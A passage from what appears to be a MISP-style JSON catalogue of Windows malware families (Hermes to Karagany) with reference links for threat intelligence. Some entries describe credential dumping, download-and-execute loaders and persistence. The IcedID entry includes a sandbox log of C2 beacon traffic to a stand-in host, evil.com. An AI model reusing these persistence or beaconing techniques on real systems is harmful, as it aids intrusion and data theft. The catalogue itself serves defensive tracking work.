          "http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html",
          "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "30a230c1-b598-4d06-90ab-3254d6a626d8",
      "value": "Hermes"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes_ransom",
          "https://blog.dcso.de/enterprise-malware-as-a-service/",
          "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4d8da0af-cfd7-4990-b211-af0e9906eca0",
      "value": "Hermes Ransomware"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.herpes"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4734c5a4-e63b-4bb4-8c01-ab0c638a6c21",
      "value": "HerpesBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.hesperbot"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2637315d-d31e-4b64-aa4b-2fc265b0a1a3",
      "value": "HesperBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.hiddentear",
          "https://www.tripwire.com/state-of-security/security-data-protection/cyber-security/hidden-tear-project-forbidden-fruit-is-the-sweetest/",
          "https://twitter.com/struppigel/status/950787783353884672",
          "https://github.com/goliate/hidden-tear"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b96be762-56a0-4407-be04-fcba76c1ff29",
      "value": "HiddenTear"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.hidedrv",
          "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html",
          "http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "84b30881-00bc-4206-8170-51705a8e26b1",
      "value": "HideDRV"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.hikit",
          "https://www.recordedfuture.com/hidden-lynx-analysis/",
          "https://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "35fd4bd7-d510-40fd-b89c-8a1b10dbc3f1",
      "value": "HiKit"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.himan",
          "https://www.checkpoint.com/threatcloud-central/downloads/check-point-himan-malware-analysis.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ecad37b9-555a-4029-b181-6f272eed7154",
      "value": "himan"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.hi_zor_rat",
          "https://www.fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "80987ce7-7eb7-4e55-95f8-5c7a9441acab",
      "value": "Hi-Zor RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.hlux"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8e056957-f28b-4b2f-bf58-6b2f7fdd7d62",
      "value": "HLUX"
    },
    {
      "description": " a 64-bit Windows password dumper/cracker that has previously been used in conjunction with AIRBREAK and BADFLICK backdoors. Some strings are obfuscated with XOR x56. The malware accepts up to two arguments at the command line: one to display cleartext credentials for each login session, and a second to display cleartext credentials, NTLM hashes, and malware version for each login session.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.homefry",
          "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1fb57e31-b97e-45c3-a922-a49ed6dd966d",
      "value": "homefry"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.hoplight",
          "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A",
          "https://www.computing.co.uk/ctg/news/3074007/lazarus-rises-warning-over-new-hoplight-malware-linked-with-north-korea"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3e489132-8687-46b3-b9a7-74ba8fafaddf",
      "value": "HOPLIGHT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.htbot"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "246f62ee-854a-45e9-8c57-34f1fb72762f",
      "value": "HtBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.htprat",
          "https://www.riskiq.com/blog/labs/htprat/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e8d1a1f3-3170-4562-9a18-cadf000e48d0",
      "value": "htpRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.htran",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
          "https://www.secureworks.com/research/htran"
        ],
        "synonyms": [
          "HUC Packet Transmit Tool"
        ],
        "type": []
      },
      "uuid": "3fb18a77-91ef-4c68-a9a9-fa6bdbea38e8",
      "value": "HTran"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpbrowser",
          "https://www.threatconnect.com/blog/threatconnect-discovers-chinese-apt-activity-in-europe/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "79f93d04-f6c8-4705-9395-7f575a61e82f",
      "value": "HttpBrowser"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpdropper",
          "https://www.sans.org/reading-room/whitepapers/critical/tracing-lineage-darkseoul-36787",
          "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/dissecting-operation-troy.pdf",
          "http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html"
        ],
        "synonyms": [
          "httpdr0pper"
        ],
        "type": []
      },
      "uuid": "78336551-c18e-47ac-8bef-1c0c61c0e0a9",
      "value": "httpdropper"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.http_troy",
          "https://www.mcafee.com/enterprise/en-us/assets/white-papers/wp-dissecting-operation-troy.pdf",
          "http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "339b3e7c-7a4a-4a1a-94b6-555f15a0b265",
      "value": "http_troy"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.hworm",
          "http://researchcenter.paloaltonetworks.com/2016/10/unit42-houdinis-magic-reappearance/?adbsc=social67221546&adbid=790972447373668352&adbpl=tw&adbpr=4487645412",
          "http://blogs.360.cn/post/analysis-of-apt-c-37.html"
        ],
        "synonyms": [
          "houdini"
        ],
        "type": []
      },
      "uuid": "94466a80-964f-467e-b4b3-0e1375174464",
      "value": "Hworm"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro",
          "https://securelist.com/luckymouse-hits-national-data-center/86083/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b7f1abd3-870b-42ca-9bd1-5931126c68d5",
      "value": "HyperBro"
    },
    {
      "description": "Analysis Observations:\r\n\r\n* It sets up persistence by creating a Scheduled Task with the following characteristics:\r\n  * Name: Update\r\n  * Trigger: At Log on\r\n  * Action: %LocalAppData%\\$Example\\\\waroupada.exe /i\r\n  * Conditions: Stop if the computer ceases to be idle.\r\n* The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.\r\n* The filename remained static during analysis.\r\n* The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it\r\n* If “/i” is not passed as an argument, it sets up persistence and waits for reboot.\r\n* If “/I” is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.\r\n* Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so:\r\n      rundll32.exe kernel32,Sleep -s\r\n* Setup a local listener to proxy traffic on 127.0.0.1:50000\r\n\r\n**[Example Log from C2 Network Communication]**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Connection: close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)>\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: **Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'.\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: HTTP/1.1 200 OK\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Type: text/html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Server: INetSim HTTPs Server\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date: Mon, 19 Mar 2018 16:45:55 GMT\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Connection: Close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Length: 258\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1 **method=POST url=hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid",
          "https://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html",
          "https://digitalguardian.com/blog/iceid-banking-trojan-targeting-banks-payment-card-providers-e-commerce-sites",
          "https://www.fidelissecurity.com/threatgeek/2017/11/tracking-emotet-payload-icedid",
          "https://securityintelligence.com/icedid-operators-using-atsengine-injection-panel-to-hit-e-commerce-sites/",
          "https://www.youtube.com/watch?v=wObF9n2UIAM",
          "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/",
          "https://www.youtube.com/watch?v=7Dk7NkIbVqY",
          "https://www.crowdstrike.com/blog/digging-into-bokbots-core-module/",
          "https://www.vkremez.com/2018/09/lets-learn-deeper-dive-into.html",
          "http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/",
          "https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/",
          "https://www.crowdstrike.com/blog/bokbots-man-in-the-browser-overview/",
          "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/"
        ],
        "synonyms": [
          "BokBot"
        ],
        "type": []
      },
      "uuid": "26f5afaf-0bd7-4741-91ab-917bdd837330",
      "value": "IcedID"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid_downloader",
          "http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/",
          "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c3be9189-f8f2-45e4-b6a3-8960fd5ffc16",
      "value": "IcedID Downloader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.icefog",
          "http://www.kz-cert.kz/page/502"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "48cdcbcf-38a8-4c68-a85e-42989ca28861",
      "value": "Icefog"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_ix",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/zeus-gets-another-update/",
          "https://securelist.com/ice-ix-not-cool-at-all/29111/",
          "https://www.virusbulletin.com/virusbulletin/2012/08/inside-ice-ix-bot-descendent-zeus"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "44a1706e-f6dc-43ea-ac85-9a4f2407b9a3",
      "value": "Ice IX"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.idkey",
          "https://isc.sans.edu/diary/22766"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3afecded-3461-45f9-8159-e8328e56a916",
      "value": "IDKEY"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.iisniff",
          "https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Curious-Case-of-the-Malicious-IIS-Module/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3b746f77-214b-44f9-9ef2-0ae6b52561d6",
      "value": "IISniff"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.imecab",
          "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0ea585ef-bd32-4f5b-a3fe-bb48dc0956c7",
      "value": "Imecab"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.imminent_monitor_rat",
          "https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/",
          "https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "53021414-97ad-4102-9cff-7a0e1997f867",
      "value": "Imminent Monitor RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.infy",
          "http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/",
          "https://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/",
          "https://www.intezer.com/prince-of-persia-the-sands-of-foudre/",
          "https://github.com/pan-unit42/iocs/blob/master/prince_of_persia/hashes.csv",
          "https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/"
        ],
        "synonyms": [
          "Foudre"
        ],
        "type": []
      },
      "uuid": "53616ce4-9b8e-45a0-b380-9e778cd95ae2",
      "value": "Infy"
    },
    {
      "description": "InnaputRAT, a RAT capable of exfiltrating files from victim machines, was distributed by threat actors using phishing and Godzilla Loader. The RAT has evolved through multiple variants dating back to 2016. Recent campaigns distributing InnaputRAT beaconed to live C2 as of March 26, 2018.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.innaput_rat",
          "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "dd486e92-54fe-4306-9aab-05863cb6c6e1",
      "value": "InnaputRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.invisimole",
          "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "22755fda-497e-4ef0-823e-5cb6d8701420",
      "value": "InvisiMole"
    },
    {
      "description": "     IRONHALO is a downloader that uses the HTTP protocol to retrieve a Base64 encoded payload from a hard-coded command-and-control (CnC) server and uniform resource locator (URL) path.\r\n     The encoded payload is written to a temporary file, decoded and executed in a hidden window. The encoded and decoded payloads are written to files named igfxHK[%rand%].dat and igfxHK[%rand%].exe respectively, where [%rand%] is a 4-byte hexadecimal number based on the current timestamp. It persists by copying itself to the current user’s Startup folder.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ironhalo",
          "https://www.symantec.com/security-center/writeup/2015-122210-5128-99",
          "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html",
          "https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "44599616-3849-4960-9379-05307287ff80",
      "value": "IRONHALO"
    },
    {
      "description": "2006 Gozi v1.0, Gozi CRM, CRM, Papras\r\n2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*)\r\n\r\nIn September 2010, the source code of a particular Gozi CRM dll version was leaked. This led to two main branches: one became known as Gozi Prinimalka, which was merge with Pony and became Vawtrak/Neverquest.\r\n\r\nThe other branch became known as Gozi ISFB, or ISFB in short. Webinject functionality was added to this version.\r\n\r\nThere is one panel which often was used in combination with ISFB: IAP. The panel's login page comes with the title 'Login - IAP'. The body contains 'AUTHORIZATION', 'Name:', 'Password:' and a single button 'Sign in' in a minimal design. Often, the panel is directly accessible by entering the C2 IP address in a browser. But there are ISFB versions which are not directly using IAP. The bot accesses a gate, which is called the 'Dreambot' gate. See win.dreambot for further information.\r\n\r\nISFB often was protected by Rovnix. This led to a further complication in the naming scheme - many companies started to call ISFB Rovnix. Because the signatures started to look for Rovnix, other trojans protected by Rovnix (in particular ReactorBot and Rerdom) sometimes got wrongly labelled.\r\n\r\nIn April 2016 a combination of Gozi ISFB and Nymaim was detected. This breed became known as GozNym. The merge uses a shellcode-like version of Gozi ISFB, that needs Nymaim to run. The C2 communication is performed by Nymaim.\r\n\r\nSee win.gozi for additional historical information.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.isfb",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/",
          "https://blog.talosintelligence.com/2019/01/amp-tracks-ursnif.html",
          "https://blog.minerva-labs.com/attackers-insert-themselves-into-the-email-conversation-to-spread-malware",
          "https://lokalhost.pl/gozi_tree.txt",
          "https://isc.sans.edu/forums/diary/Reviewing+the+spam+filters+Malspam+pushing+GoziISFB/23245",
          "http://blog.talosintelligence.com/2018/03/gozi-isfb-remains-active-in-2018.html",
          "https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/",
          "https://www.cylance.com/en_us/blog/threat-spotlight-ursnif-infostealer-malware.html",
          "https://www.vkremez.com/2018/08/lets-learn-in-depth-reversing-of-recent.html",
          "https://www.youtube.com/watch?v=KvOpNznu_3w",
          "https://www.rsa.com/de-de/resources/pandemiya-emerges-new-malware-alternative-zeus-based",
          "https://www.youtube.com/watch?v=jlc7Ahp8Iqg",
          "http://benkow.cc/DreambotSAS19.pdf",
          "https://blog.malwarebytes.com/threat-analysis/2017/04/binary-options-malvertising-campaign-drops-isfb-banking-trojan/",
          "https://www.cyberbit.com/blog/endpoint-security/new-ursnif-malware-variant/",
          "https://journal.cecyf.fr/ojs/index.php/cybin/article/view/15",
          "https://0ffset.net/reverse-engineering/analyzing-com-mechanisms-in-malware/",
          "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html",
          "https://0ffset.net/reverse-engineering/malware-analysis/analysing-isfb-loader/",
          "https://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/",
          "https://github.com/gbrindisi/malware/tree/master/windows/gozi-isfb",
          "https://blog.yoroi.company/research/ursnif-the-latest-evolution-of-the-most-popular-banking-malware/",
          "https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features"
        ],
        "synonyms": [
          "Gozi ISFB",
          "IAP",
          "Pandemyia"
        ],
        "type": []
      },
      "uuid": "a171321e-4968-4ac0-8497-3250c1f0d77d",
      "value": "ISFB"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ismagent",
          "http://www.clearskysec.com/ismagent/",
          "https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "67457708-1edd-4ef1-9ec0-1c5eb7c75fe2",
      "value": "ISMAgent"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ismdoor",
          "http://www.clearskysec.com/greenbug/",
          "https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e09d8dd6-6857-4607-a0ba-9c8d2a66083b",
      "value": "ISMDoor"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ispy_keylogger",
          "https://www.zscaler.com/blogs/research/ispy-keylogger"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8c95cb51-1044-4dcd-9cac-ad9f2e3b9070",
      "value": "iSpy Keylogger"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.israbye",
          "https://twitter.com/malwrhunterteam/status/1085162243795369984"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c5cec575-325c-44b8-af24-4feb330eec8a",
      "value": "IsraBye"
    },
    {
      "description": "ISR Stealer is a modified version of the Hackhound Stealer. It is written in VB and often comes in a .NET-wrapper.\r\nISR Stealer makes use of two Nirsoft tools: Mail PassView and WebBrowserPassView.\r\n\r\nIncredibly, it uses an hard-coded user agent string: HardCore Software For : Public",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.isr_stealer",
          "https://securingtomorrow.mcafee.com/mcafee-labs/phishing-attacks-employ-old-effective-password-stealer/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "27bab2fb-d324-42c2-9df3-669bb87c3989",
      "value": "ISR Stealer"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.isspace",
          "http://researchcenter.paloaltonetworks.com/2017/01/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a3f41c96-a5c8-4dfe-b7fa-d9d75f97979a",
      "value": "IsSpace"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.jackpos",
          "https://www.trustwave.com/Resources/SpiderLabs-Blog/JackPOS-%E2%80%93-The-House-Always-Wins/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3acb37f4-5614-4932-b12f-9f1c256895f2",
      "value": "JackPOS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.jaff",
          "http://malware-traffic-analysis.net/2017/05/16/index.html",
          "https://www.proofpoint.com/us/threat-insight/post/jaff-new-ransomware-from-actors-behind-distribution-of-dridex-locky-bart",
          "http://blog.talosintelligence.com/2017/05/jaff-ransomware.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2c51a717-726b-4813-9fcc-1265694b128e",
      "value": "Jaff"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.jager_decryptor"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "13a7a2ff-c945-4b42-a112-dcf09f9ed9c9",
      "value": "Jager Decryptor"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.jaku",
          "https://www.forcepoint.com/sites/default/files/resources/files/report_jaku_analysis_of_botnet_campaign_en_0.pdf",
          "https://securelist.com/whos-really-spreading-through-the-bright-star/68978/",
          "https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146"
        ],
        "synonyms": [
          "C3PRO-RACOON",
          "KCNA Infostealer",
          "Reconcyc"
        ],
        "type": []
      },
      "uuid": "0f02ea79-5833-46e0-8458-c4a863a5a112",
      "value": "Jaku"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.jasus",
          "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "af6e89ec-0adb-4ce6-b4e6-610827e722ea",
      "value": "Jasus"
    },
    {
      "description": "Ransomware written in Go.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.jcry",
          "https://twitter.com/IdoNaor1/status/1101936940297924608",
          "https://twitter.com/0xffff0800/status/1102078898320302080"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "fea703ec-9b24-4119-96b3-7ae6bec3b203",
      "value": "JCry"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.jigsaw"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "910c3fd2-56e5-4f1d-8df0-2aa0b293b7d9",
      "value": "Jigsaw"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.jimmy",
          "https://securelist.com/jimmy-nukebot-from-neutrino-with-love/81667/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "551b568f-68fa-4483-a10c-a6452ae6289e",
      "value": "Jimmy"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.joanap",
          "https://www.us-cert.gov/ncas/alerts/TA18-149A",
          "https://www.us-cert.gov/ncas/analysis-reports/AR18-149A",
          "https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "bbbef449-2fe6-4c25-a85c-69af9fa6208b",
      "value": "Joanap"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.joao",
          "https://www.welivesecurity.com/2017/08/22/gamescom-2017-fun-blackhats/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8201c8d2-1dab-4473-bbdf-42952b3d5fc6",
      "value": "Joao"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.jolob",
          "http://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it-1.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "97f12ca8-dc84-4a8c-b4c6-8ec1d1e79631",
      "value": "Jolob"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.jqjsnicker",
          "http://marcmaiffret.com/vault7/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2e457b93-de45-4b1d-8e1d-b8d19c2c555a",
      "value": "JQJSNICKER"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.jripbot",
          "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e895a0d2-fe4b-4793-9440-9db2d56a97f2",
      "value": "JripBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kagent",
          "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "eab42a8e-22e7-49e4-8a26-44f14b6f67bb",
      "value": "KAgent"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.karagany",
          "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
        ],
        "synonyms": [],
        "type": []
      },
